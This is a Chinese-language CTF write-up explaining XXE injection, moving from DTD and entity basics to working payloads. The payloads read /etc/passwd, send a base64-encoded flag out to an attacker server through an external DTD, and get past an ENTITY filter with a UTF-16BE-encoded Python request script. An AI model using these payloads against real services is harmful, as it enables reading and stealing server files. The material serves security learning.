基础知识:dtd,四种实体
xxe 是 xml external entity,xml 外部实体注入,在叙述漏洞之前先来了解一下关于 xml 的基础知识。
xml 是一种数据格式,他允许使用者在文档头部定义要使用的变量,这部分区域就是 dtd(英文)在 dtd 里面把变量称呼为“实体”。
例如这个代码块中的就是 dtd 部分:
1 2 3 4 5
| <?xml version ="1.0" encoding = "UTF-8"?> <!DOCTYPE whatevername [ <!ENTITY name "John"> ]> <first>&name;</first>
|
在浏览时,&name 就会被替换为John。
“John”这个位置不仅可以填写普通的字符串,还支持 file://协议和 http://协议等来引用外部资源,例如:
1 2 3 4 5
| <?xml version ="1.0" encoding = "UTF-8"?> <!DOCTYPE whatevername[ <!ENTITY name SYSTEM "file:///etc/passwd"> ]> <first>&name;</first>
|
这样我们就可以在回显处看到本地的/etc/passwd 文件。
普通的字符串是内部实体, file://协议和 http://协议这种就是外部实体。
还有一种实体的分类标准是通用实体&和参数实体%。
刚才我们看到的&就是通用实体,他采用懒加载机制,只有写完 dtd,在 xml 部分才会开始加载。也就是说,我们想要在 dtd 部分用&实现变量读取的叠加是不可能的:
1 2 3 4 5 6
| <?xml version ="1.0" encoding = "UTF-8"?> <!DOCTYPE whatevername[ <!ENTITY name "John"> <!ENTITY full_name "&name Reese"> ]> <first>&full_name;</first>
|
要想实现这样的功能,用的是%,而相应的,%不可能出现在除了 dtd 以外的部分,也许我们可以写成这样:
1 2 3 4 5 6
| <?xml version ="1.0" encoding = "UTF-8"?> <!DOCTYPE whatevername[ <!ENTITY % name "John"> <!ENTITY full_name "%name; Reese"> ]> <first>&full_name;</first>
|
但是实际运行的时候还是会报错,因为 xml 有一个规则,具体的表现就是,在当前的 xml 文件中,在 dtd 的双引号里是不允许出现%的。但是如果用外部实体调用外部的 dtd,就可以在 dtd 的双引号里允许出现%。
例如,我们先把要用的实体移出去,改名为 evil.dtd
1 2
| <!ENTITY % name "John"> <!ENTITY full_name "%name; Reese">
|
接着在文档里写:
1 2 3 4 5 6
| <?xml version ="1.0" encoding = "UTF-8"?> <!DOCTYPE whatevername[ <!ENTITY % source SYSTEM "http://ip:port/evil.dtd"> %source; ]> <first>&full_name;</first>
|
就可以打印出我们想要的东西了。
各种情景的题目
出网无回显
evil.dtd:
1 2 3 4
| <!ENTITY % f1ag SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % int "<!ENTITY %(这里是%的xml编码) send SYSTEM 'http://ip:port/?file=%f1ag'>"> %int; %send;
|
在服务器上执行
1
| python -m http.server 9999
|
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "UTF-8"?> <!DOCTYPE whatever [ <!ENTITY % source SYSTEM "http://ip:port/evil.dtd"> %source; ]> <whatever>1;</whatever>
|
过滤ETENTY
可以执行 xml,但是过滤了<!ENTITY
那么写个脚本,把发过去的 xml 进行编码就行
(这一部分我是直接复制的其实我不懂这个脚本在干什么)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import requests
url = "http://challenge.ilovectf.cn:30036/"
payload_str = """<?xml version="1.0" encoding="UTF-16BE"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://106.15.35.97:9999/evil.dtd"> %remote; ]> <root/>"""
payload_bytes = payload_str.encode('utf-16be')
data = { "xmlInput": payload_bytes }
headers = { "User-Agent": "Mozilla/5.0 ... Chrome/142.0.0.0 Safari/537.36" }
try: print("[-] Sending Payload...") res = requests.post(url, data=data, headers=headers) print(f"[-] Status: {res.status_code}") print("[-] Response snippet:", res.text[:100]) except Exception as e: print(e)
|